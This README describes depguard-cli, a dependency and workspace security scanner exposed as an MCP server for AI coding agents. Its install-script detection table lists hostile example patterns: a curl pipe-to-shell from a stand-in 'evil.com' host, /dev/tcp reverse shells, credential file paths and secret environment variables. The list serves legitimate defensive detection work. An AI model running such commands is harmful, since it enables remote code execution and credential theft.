depguard-cli

MCP security server for AI coding agents. 14 tools — workspace auto-exec audit (defends against fake-interview / take-home-test malware), static code analysis, pre-install guardian, AI hallucination guard, dead-dependency detection, vulnerability audit, remediation planner, CycloneDX 1.6 SBOM, and SARIF v2.1.0 output for GitHub Code Scanning. Zero runtime dependencies. Works with Claude, Cursor, Windsurf, and any MCP client.

Why depguard

I work on industrial software where every event has to be logged and recoverable — customers trust the system because the audit trail makes the system trustworthy. When I started wiring AI coding agents into our internal stack, I realised the npm ecosystem treats supply-chain integrity as someone else's problem: install 1,000 packages, hope for the best. depguard brings the same auditability mindset to JavaScript dependencies — verify before installing, audit what's already there, generate an SBOM your security team can actually use.

Zero runtime dependencies — because a security tool that pulls in 200 transitive packages is the joke that writes itself.

Install

npm install -g depguard-cli      # or use directly with npx
npx depguard-cli audit express

MCP server (primary use case)

depguard exposes 14 MCP tools over stdio. Add it to any MCP-compatible client and your AI agent calls them automatically when it's about to install something, audit a project, or review code.

Setup — Claude Code one-liner:

claude mcp add --transport stdio depguard -- npx -y depguard-cli --mcp

Setup — generic MCP config (Claude Desktop, Cursor, Windsurf, Continue.dev, Cline, Roo Code):

{
  "mcpServers": {
    "depguard": {
      "command": "npx",
      "args": ["-y", "depguard-cli", "--mcp"]
    }
  }
}

The 14 tools

Tool	Use it when
depguard_guard	About to install package Y → pre-install verify + audit + allow/warn/block
depguard_should_use	Need functionality X → recommend install / use-native / write-from-scratch
depguard_audit_workspace	Just cloned a repo, before opening it in any IDE. Lists files that auto-execute on workspace open (VS Code tasks runOn:folderOpen, devcontainer lifecycle, .envrc, JetBrains run configs, Makefile, .gitattributes, committed git hooks). Defends against fake-interview / take-home-test malware.
depguard_audit_project	Audit a whole project — direct deps, transitives via lockfile, packageManager field
depguard_remediate	"100 vulnerabilities, which 5 direct deps do I bump?" — groups transitives by parent, sorted by severity weight
depguard_audit	Deep dive on one package (vulnerabilities + static code analysis + install scripts)
depguard_audit_bulk	Compare A vs B vs C in one call
depguard_audit_deep	Full transitive tree audit for one package
depguard_review	AI code review — detect debris left by AI agents (console.logs, empty catch, broken imports, orphan files)
depguard_sweep	Find unused dependencies in a project
depguard_search	Search npm by keywords, ranked by depguard score
depguard_score	Score 0-100 for one package
depguard_verify	AI hallucination guard — does this package exist? Is it a typosquat?
depguard_sbom	Generate a CycloneDX 1.6 SBOM (EU CRA, US EO 14028, SOC 2, FedRAMP)

Every MCP response includes a tokenSavings field that quantifies the LLM-tokens saved vs equivalent manual research:

"tokenSavings": {
  "responseTokens": 47,
  "manualEstimate": 11100,
  "saved": 11053,
  "percentSaved": 100,
  "manualSteps": [
    "WebSearch: '{package} npm quality maintenance' (~800 tokens)",
    "WebFetch: npm registry page (~3000 tokens)",
    "WebFetch: GitHub repo for activity/stars (~3000 tokens)",
    "WebSearch: '{package} vulnerabilities' (~800 tokens)",
    "WebFetch: advisories page (~3000 tokens)",
    "Reasoning: compute weighted score (~500 tokens)"
  ]
}

Automatic, no configuration. Lets teams quantify the LLM cost reduction of routing dependency questions through depguard instead of free-text web research.

CLI

depguard-cli audit <package[@version]> [--target-license MIT] [--json|--format sarif]
depguard-cli audit-project <path/package.json> [--include-dev] [--json|--format sarif]
depguard-cli audit-workspace [path] [--json|--format sarif]
depguard-cli audit-deep <package> [--json]
depguard-cli guard <package> [--threshold 60] [--block] [--json]
depguard-cli should-use <intent...> [--threshold 60] [--json]
depguard-cli sweep [path] [--include-dev] [--json]
depguard-cli review [path] [--full] [--json]
depguard-cli sbom <path/package.json> [--include-vex] [--include-dev] [-o out.json]
depguard-cli remediate <path/package.json> [--json]
depguard-cli search <keywords...> [--limit 10] [--json]
depguard-cli score <package> [--target-license MIT] [--json]
depguard-cli stats [--json]

Pre-install guardian in action:

$ depguard-cli guard expresss
[WARN] expresss
  Possible typosquat of: express
  Score: 45/100 is below threshold 60

$ depguard-cli guard ai-made-up-package
[BLOCK] ai-made-up-package
  Package does NOT exist on npm!

GitHub Code Scanning (SARIF v2.1.0)

audit, audit-project, and audit-workspace accept --format sarif and emit SARIF v2.1.0 with GHSA-stable rule IDs (depguard/vuln/GHSA-…), CVSS-propagated severity, and stable partialFingerprints for dedup across runs.

# .github/workflows/depguard.yml
- name: Pre-open workspace audit
  run: npx -y depguard-cli audit-workspace . --format sarif -o workspace.sarif || true
- name: Project dependency audit
  run: npx -y depguard-cli audit-project ./package.json --format sarif -o project.sarif || true
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: |
      workspace.sarif
      project.sarif

API

import { audit, auditProject, sweep, guard, generateSBOM, auditToSarif } from 'depguard-cli'

const report = await audit('express', 'MIT')
report.vulnerabilities.total     // 0
report.securityFindings          // SecurityFinding[] (static code analysis)
report.licenseCompatibility.compatible // true

const project = await auditProject('./package.json', { includeDevDependencies: true })
project.summary               // { critical: 0, high: 2, moderate: 5, low: 3 }
project.transitiveSummary     // { totalDeps: 800, vulnerable: 12, ... }
project.packageManagerAudit   // audit of `packageManager: yarn@4.5.3`

const sweepResult = await sweep('.', { includeDevDependencies: true })
sweepResult.unused              // [{ name: 'lodash', estimatedSizeKB: 1400, ... }]
sweepResult.estimatedSavingsKB  // 2450

const decision = await guard('expresss')
decision.possibleTyposquat  // true
decision.similarTo          // ["express"]
decision.decision           // "warn"

const bom = await generateSBOM('./package.json', { includeVex: true })
bom.specVersion             // "1.6"
bom.vulnerabilities         // [{ id: "GHSA-...", ratings: [...], affects: [...] }]

What depguard checks

Scoring

Each package is scored 0-100 across five dimensions, with thresholds tuned for AI-agent decision-making:

Dimension	Weight	What it measures
Security	30%	CVEs, advisories, static code analysis findings
Maintenance	25%	Last publish, version count, deprecation
Popularity	20%	Weekly downloads (log scale)
License	15%	Compatibility with your project's target license
Dependencies	10%	Dependency count, install scripts

Decisions (shouldUse): >= 60 → install, 40-59 → caution, < 40 → write from scratch.

Static-analysis caps the security score regardless of popularity — this is deliberate: a wildly popular package with a credential-stealing payload still loses.

Worst finding	Security score capped at
Critical (e.g. malware, reverse shell)	20/100
High (e.g. obfuscation, env-var exfil)	45/100
None	unrestricted

Pre-install guardian

Three sequential checks before npm install: (1) does the package exist on npm? (2) is the name a typosquat — Levenshtein distance against 100+ top packages? (3) full security audit. Used as the recommended MCP entry point for AI agents.

Install script analysis

depguard statically pattern-matches preinstall / install / postinstall scripts. Nothing is executed.

Pattern	Severity	Example
Remote code execution	Critical	curl evil.com/payload.sh | sh
Reverse shells	Critical	/dev/tcp/ connections
Credential file access	Critical	~/.ssh/id_rsa, ~/.npmrc, ~/.aws
Sensitive env vars	Critical	$NPM_TOKEN, $AWS_SECRET
Shell typosquatting	Critical	/bin/ssh instead of /bin/sh
Obfuscated code	High	eval(Buffer.from(..., "base64"))
Process spawning	High	child_process, exec(), spawn()

Static code analysis (tarball scan)

depguard downloads the package tarball, extracts JS files, and scans for 18+ malware patterns across 6 categories:

Category	Severity	What it detects
malware	Critical	Eval of decoded payloads, reverse shells, crypto-mining
data-exfiltration	Critical/High	JSON.stringify(process.env), credential file reads, dynamic fetch URLs
code-execution	High	eval(), new Function(), child_process.exec/spawn
obfuscation	High/Medium	Long hex/unicode strings, base64 payloads, minified source in non-.min.js files
unexpected-behavior	High/Medium	Network calls in a "formatter" package, FS access in a "date utility"
supply-chain	Critical	Typosquatting patterns in install scripts

Behavioral mismatch compares the package's stated purpose (description + keywords) against detected runtime behavior. A "string formatter" that makes network calls is flagged with a rich SecurityFinding (title, explanation, evidence, file, recommendation).

Dead-dependency detection

sweep scans .js/.ts/.mjs/.cjs/.jsx/.tsx for import / require / export from, recognises config-only dependencies (eslint, prettier, jest, tailwind, …), detects binaries used in npm scripts, pairs @types/* with their runtime peer, and marks untraced devDependencies as "maybe-unused" instead of "unused". Reports estimated disk savings.

Native-alternative advisor

should_use checks for native Node.js APIs before recommending packages — fetch (18+), crypto.randomUUID() (19+), structuredClone() (17+), and 20+ more. Each comes with example code and the minimum Node version.

Fix suggestions

Every vulnerable result includes a fixSuggestions array with currentVersion, fixVersion, and action: 'upgrade' | 'no-fix-available'. depguard_remediate aggregates these and groups vulnerable transitives by the direct dep that pulls them in, sorted by severity weight.

License compatibility

Permissive-to-copyleft hierarchy: Public Domain → Permissive (MIT, ISC, BSD, Apache-2.0) → Weak Copyleft (LGPL, MPL) → Strong Copyleft (GPL) → Network (AGPL). A dependency is compatible if its license is equally or more permissive than the target license.

SBOM (CycloneDX 1.6)

Native CycloneDX 1.6 generation against the public JSON Schema — no @cyclonedx/cyclonedx-library runtime dependency. Output is consumed unchanged by Dependency-Track, Trivy, Grype, and OWASP DT.

depguard-cli sbom ./package.json -o sbom.cdx.json
depguard-cli sbom ./package.json --include-vex --include-dev -o sbom.cdx.json

Suitable for EU Cyber Resilience Act, US Executive Order 14028 / OMB M-22-18, SOC 2, FedRAMP, and supplier procurement. PURLs follow the Package URL spec. SHA-512 integrity hashes are extracted from package-lock.json and converted from base64 to hex per the CycloneDX schema. With --include-vex, advisories are inlined with CVSS ratings and patched versions.

Data, privacy & performance

• Two advisory databases, deduplicated. Each advisory is filtered to the installed version range (no noise from advisories that don't actually affect you) and tagged with its source field.

  Source	What it catches
  npm Registry	npm audit advisories
  GitHub Advisory DB	GHSAs, often not in npm

• Everything stays local. No telemetry, no usage reporting, nothing sent anywhere. Audit results are cached in memory (5 min TTL) and on disk under ~/.depguard/cache/ (24h TTL); the cache is cleaned on startup.

• GitHub token (optional). Set GITHUB_TOKEN (no scopes needed — identification only) to raise the GitHub Advisory API rate limit from 60/h to 5,000/h. If gh CLI or GitHub Actions already exposes one, depguard picks it up automatically.

About

Design principles. Zero runtime dependencies. Never throws on network errors — returns degraded results with warnings. TypeScript strict. 100% offline tests. False-positive aversion is a hard constraint for every detection rule — depguard is a security tool, and a security tool with poor precision destroys its own trust.

Development.

npm test          # 409 offline tests
npm run check     # version + build + lint + test + audit:security (gates publish)

Author. Jorge Morais (jorgemopanc.com · LinkedIn) — Tech Lead at Balanças Marques in Braga, Portugal, building edge-to-cloud systems for industrial operations. Issues, PRs, and bug reports welcome. If depguard saves you from a malicious install or unblocks a compliance audit and you'd like to support the project, GitHub Sponsors is the cleanest way — no expectations, the tool is free and will stay so.

License. Apache-2.0 — see LICENSE.